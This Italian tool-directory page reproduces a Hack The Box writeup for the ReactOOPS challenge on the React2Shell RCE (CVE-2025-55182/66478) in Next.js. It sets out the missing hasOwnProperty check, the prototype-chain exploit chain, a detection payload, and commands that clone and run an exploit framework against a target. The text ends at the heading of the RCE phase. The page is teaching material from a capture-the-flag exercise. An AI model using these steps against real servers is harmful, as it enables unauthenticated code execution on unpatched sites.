Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ReactOOPS-WriteUp — Writeup Hack The Box per la challenge ritirata ReactOOPS - Soluzione completa e guida didattica alle CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Include analisi dettagliata della vulnerabilità, tecniche di sfruttamento e materiali di apprendimento per il team. | Kitploit
Strumenti/GitHubGitHub/thestingr/reactoops-writeup
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneRed Teaming
Sviluppo Payload
Lab e Pratica
GitHubthestingr/reactoops-writeup

ReactOOPS-WriteUp

Writeup Hack The Box per la challenge ritirata ReactOOPS - Soluzione completa e guida didattica alle CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Include analisi dettagliata della vulnerabilità, tecniche di sfruttamento e materiali di apprendimento per il team.

Vedi RepositorySito web
62410 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ReactOOPS - Writeup della Sfida Web HTB

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

Autore: TheStingR - Team ISP1337Hackers
Sfida: ReactOOPS (Web)
Piattaforma: Hack The Box
Difficoltà: Molto Facile - Ritirata
Data di Risoluzione: 13 dicembre 2025

Table of Contents

  1. Sommario Esecutivo
  2. Descrizione della Sfida
  3. Analisi della Vulnerabilità
  4. Ricognizione ed Enumerazione
  5. Procedura di Sfruttamento
  6. Estrazione della Flag
  7. Approfondimento Tecnico
  8. Difesa e Mitigazione
  9. Lezioni Apprese

Sommario Esecutivo

ReactOOPS è una sfida web che sfrutta CVE-2025-55182 / CVE-2025-66478, una vulnerabilità critica di esecuzione remota di codice non autenticata in React Server Components e Next.js App Router.

Risultati Chiave:

  • ✅ Server: Next.js 16.0.6 con React 19 (vulnerabile)
  • ✅ Vulnerabilità: controllo hasOwnProperty mancante nella deserializzazione del protocollo Flight
  • ✅ Impatto: RCE non autenticata con privilegi di root
  • ✅ Sfruttamento: è necessaria una singola richiesta HTTP POST

Descrizione della Sfida

Valutazione Iniziale

La sfida presenta un'applicazione Next.js curata che esegue l'interfaccia dell'assistente di NexusAI. L'applicazione sembra gestire l'input dell'utente tramite React Server Components, ma piccoli glitch nel layer reattivo suggeriscono vulnerabilità sottostanti.

Stack Tecnologico

  • Framework: Next.js 16.0.6
  • Versione React: 19.x
  • Deployment: Contenitore Docker (build standalone di Next.js)
  • Porta del Server: 50183

Cosa Rende Questa Vulnerabile?

L'applicazione utilizza:

  1. React Server Components (RSC) - Rendering lato server con comunicazione client
  2. Protocollo Flight - Formato di serializzazione per la trasmissione dati RSC
  3. Dipendenze Vulnerabili - react-server-dom-webpack senza patch di sicurezza

Analisi della Vulnerabilità

Panoramica di CVE-2025-55182 / CVE-2025-66478

Cos'è il Protocollo Flight?

Il protocollo Flight è il formato di serializzazione proprietario di React per trasmettere dati tra server e client nelle architetture Server Component. Utilizza riferimenti come:

  • $1 - Riferimento all'oggetto nella posizione 1
  • $1:path:to:value - Attraversamento del percorso di proprietà

Il Controllo di Sicurezza Mancante

Codice Vulnerabile in ReactFlightReplyServer.js di React:

// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Process references like "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VULNERABLE LOOP - NO hasOwnProperty CHECK!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Allows prototype chain access
        }
        return obj;
    }
}

La Versione Sicura (Come Dovrebbe Essere):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Perché Questo è Importante

Senza il controllo hasOwnProperty, un attaccante può attraversare:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Catena di Sfruttamento

Step 1: Send reference "$1:__proto__:then"
         │
         ├─ Access myChunk[__proto__]
         └─ Then access [then] on the prototype

Step 2: Create fake Promise-like object
         │
         └─ { then: maliciousFunction }

Step 3: React calls await on this object
         │
         ├─ Invokes the .then() method
         └─ Executes attacker's function

Step 4: Arbitrary Code Execution
         │
         └─ Code runs in server context as root

Perché Non C'è un Controllo di Autenticazione?

La vulnerabilità esiste prima della validazione Next-Action:

Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol  ← RCE HAPPENS HERE
│  └─ Process references and objects
│  └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID          ← This comes AFTER
└─ Execute action handler

Attivando l'RCE durante la deserializzazione, gli attaccanti aggirano tutti i controlli di sicurezza a livello di azione.


Ricognizione ed Enumerazione

Passo 1: Test di Connessione Iniziale

# Test if service is responding
curl -v http://<IP>:PORT/

Previsto: un'applicazione Next.js che serve HTML con RSC abilitato

Passo 2: Identificazione della Tecnologia

Cerca indicatori:

  • Header di risposta contenenti prefissi next-
  • HTML contenente <script type="text/x-component">
  • Presenza di artefatti della directory .next
  • Endpoint POST senza autenticazione evidente

Passo 3: Rilevamento della Vulnerabilità

L'indicatore più affidabile è tentare un attacco di prototype pollution e osservare la risposta:

# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash

Procedura di Sfruttamento

Configurazione dell'Ambiente

# Navigate to challenge directory
cd /Challenges/ReactOOPS

# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git

# Verify all scripts are executable
chmod +x react2shell/*.sh

Fase 1: Rilevamento (Prova Non Distruttiva)

Obiettivo: Confermare che il server sia vulnerabile senza causare danni

cd react2shell

# Run the detection probe
./detect.sh http://<IP>:PORT

Cosa Fa:

  1. Crea una richiesta POST multipart con header Next-Action: x
  2. Invia il payload: ["$1:a:a"] che referenzia l'oggetto vuoto {}
  3. Sul server vulnerabile: JavaScript prova ad accedere a {}.a.a
  4. La mancanza del controllo hasOwnProperty causa un crash
  5. Il server risponde con HTTP 500 e digest di errore

Output Previsto:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

Interpretazione:

  • HTTP 500: ✅ Crash rilevato
  • E{"digest" nella risposta: ✅ Formato di gestione errori di React
  • Conclusione: il server è VULNERABILE

Fase 2: Esecuzione Remota di Codice (Prova di Concetto)

Scarica lo strumento